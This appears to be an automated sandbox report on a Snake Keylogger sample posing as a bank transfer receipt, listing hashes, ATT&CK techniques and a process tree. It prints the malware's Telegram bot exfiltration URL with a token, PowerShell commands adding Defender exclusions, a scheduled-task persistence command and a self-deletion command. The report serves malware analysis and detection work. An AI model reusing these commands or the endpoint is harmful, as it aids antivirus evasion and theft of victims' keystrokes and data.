snakekeylogger | 1546c45496290063818a4e24b240aa8cd88c8023dccb2876706a569a0359be9e

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
25-10-2024 14:22

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General

Target

Bank transfer receipt 241015.exe
Size

499KB
MD5

a56e9ac0bdfb2994a47cff685f5082a8
SHA1

855fef6a65caf563685f757a11b653a43472e4be
SHA256

1546c45496290063818a4e24b240aa8cd88c8023dccb2876706a569a0359be9e
SHA512

97bb5879e5a1be00eb980a5e51a6caa69fa4e5731e377236c4abf3b9cdaa7a5ef0b3040feb468c219e80ad42b49049f0fb74d3843bf896a4d23a947804a73342
SSDEEP

12288:62UScVclz+IuSqKixs7p2JYQE3Pu98rxG6ortJ6zdhp:6UcVuSpW/3RN

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7952998151:AAFh98iY7kaOlHAR0qftD3ZcqGbQm0TXbBY/sendMessage?chat_id=5692813672

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 5 IoCs

resource	yara_rule
behavioral1/memory/2856-31-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2856-29-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2856-28-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2856-25-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2856-23-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2296	powershell.exe
2916	powershell.exe

Deletes itself 1 IoCs

pid	Process
1888	cmd.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2568 set thread context of 2856	2568	Bank transfer receipt 241015.exe	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bank transfer receipt 241015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bank transfer receipt 241015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2784	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2856	Bank transfer receipt 241015.exe
2296	powershell.exe
2916	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2856	Bank transfer receipt 241015.exe
Token: SeDebugPrivilege	2296	powershell.exe
Token: SeDebugPrivilege	2916	powershell.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 2568 wrote to memory of 2296	2568	Bank transfer receipt 241015.exe	31
PID 2568 wrote to memory of 2296	2568	Bank transfer receipt 241015.exe	31
PID 2568 wrote to memory of 2296	2568	Bank transfer receipt 241015.exe	31
PID 2568 wrote to memory of 2296	2568	Bank transfer receipt 241015.exe	31
PID 2568 wrote to memory of 2916	2568	Bank transfer receipt 241015.exe	33
PID 2568 wrote to memory of 2916	2568	Bank transfer receipt 241015.exe	33
PID 2568 wrote to memory of 2916	2568	Bank transfer receipt 241015.exe	33
PID 2568 wrote to memory of 2916	2568	Bank transfer receipt 241015.exe	33
PID 2568 wrote to memory of 2784	2568	Bank transfer receipt 241015.exe	34
PID 2568 wrote to memory of 2784	2568	Bank transfer receipt 241015.exe	34
PID 2568 wrote to memory of 2784	2568	Bank transfer receipt 241015.exe	34
PID 2568 wrote to memory of 2784	2568	Bank transfer receipt 241015.exe	34
PID 2568 wrote to memory of 2856	2568	Bank transfer receipt 241015.exe	37
PID 2568 wrote to memory of 2856	2568	Bank transfer receipt 241015.exe	37
PID 2568 wrote to memory of 2856	2568	Bank transfer receipt 241015.exe	37
PID 2568 wrote to memory of 2856	2568	Bank transfer receipt 241015.exe	37
PID 2568 wrote to memory of 2856	2568	Bank transfer receipt 241015.exe	37
PID 2568 wrote to memory of 2856	2568	Bank transfer receipt 241015.exe	37
PID 2568 wrote to memory of 2856	2568	Bank transfer receipt 241015.exe	37
PID 2568 wrote to memory of 2856	2568	Bank transfer receipt 241015.exe	37
PID 2568 wrote to memory of 2856	2568	Bank transfer receipt 241015.exe	37
PID 2856 wrote to memory of 1888	2856	Bank transfer receipt 241015.exe	38
PID 2856 wrote to memory of 1888	2856	Bank transfer receipt 241015.exe	38
PID 2856 wrote to memory of 1888	2856	Bank transfer receipt 241015.exe	38
PID 2856 wrote to memory of 1888	2856	Bank transfer receipt 241015.exe	38
PID 1888 wrote to memory of 2616	1888	cmd.exe	40
PID 1888 wrote to memory of 2616	1888	cmd.exe	40
PID 1888 wrote to memory of 2616	1888	cmd.exe	40
PID 1888 wrote to memory of 2616	1888	cmd.exe	40

C:\Users\Admin\AppData\Local\Temp\Bank transfer receipt 241015.exe
"C:\Users\Admin\AppData\Local\Temp\Bank transfer receipt 241015.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2568
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Bank transfer receipt 241015.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2296
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\vYxHVdr.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2916
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vYxHVdr" /XML "C:\Users\Admin\AppData\Local\Temp\tmpF612.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:2784
- C:\Users\Admin\AppData\Local\Temp\Bank transfer receipt 241015.exe
  "C:\Users\Admin\AppData\Local\Temp\Bank transfer receipt 241015.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2856
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Bank transfer receipt 241015.exe"
    3⤵
    - Deletes itself
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1888
  - - C:\Windows\SysWOW64\choice.exe
      choice /C Y /N /D Y /T 3
      4⤵
      System Location Discovery: System Language Discovery
      PID:2616

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\tmpF612.tmp

Filesize
1KB

MD5
7c0b5cd9efe80a8913d3725bcdd21414

SHA1
00162bcea92d116ad2a9f14eaa00b528cdaba788

SHA256
2518a756656c93d55b8c1653b26f458597f6298af0eefdeed880717cfa9bdb9f

SHA512
63c9b8b1a09e7d0dff5a257bf7bd274499db6d02fd57e658f8b39c4ef6f57d410c761c9763da88a57b02da11e24e8edf020e926089e4a35bae7b13f8e426f4fe

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KCCXUPK4DJ7427ZH2OD9.temp

Filesize
7KB

MD5
4d9480fc14da12f721b25115bf4bce49

SHA1
e151ad648402e41b45f2e8218cd1c784c33edbbc

SHA256
3b2e29b3d5266d5105291042e17bc6dde4032ba9b5c82177c908dbfed1f81404

SHA512
fe6bc3381f61a25b597591f8d9d94d25bd6dc5f9e7d5e33772530691244f66bebfc2b6ffc39f8e025adfc17a68be9905092d09c4bbe1461a2b43d068b207f579

Download Submit
memory/2568-4-0x000000007402E000-0x000000007402F000-memory.dmp

Filesize
4KB

Download
memory/2568-32-0x0000000074020000-0x000000007470E000-memory.dmp

Filesize
6.9MB

Download
memory/2568-0-0x000000007402E000-0x000000007402F000-memory.dmp

Filesize
4KB

Download
memory/2568-5-0x0000000074020000-0x000000007470E000-memory.dmp

Filesize
6.9MB

Download
memory/2568-6-0x0000000005270000-0x00000000052D8000-memory.dmp

Filesize
416KB

Download
memory/2568-2-0x0000000074020000-0x000000007470E000-memory.dmp

Filesize
6.9MB

Download
memory/2568-1-0x0000000000E10000-0x0000000000E94000-memory.dmp

Filesize
528KB

Download
memory/2568-3-0x0000000000270000-0x0000000000282000-memory.dmp

Filesize
72KB

Download
memory/2856-31-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2856-28-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2856-27-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2856-25-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2856-23-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2856-21-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2856-19-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2856-29-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download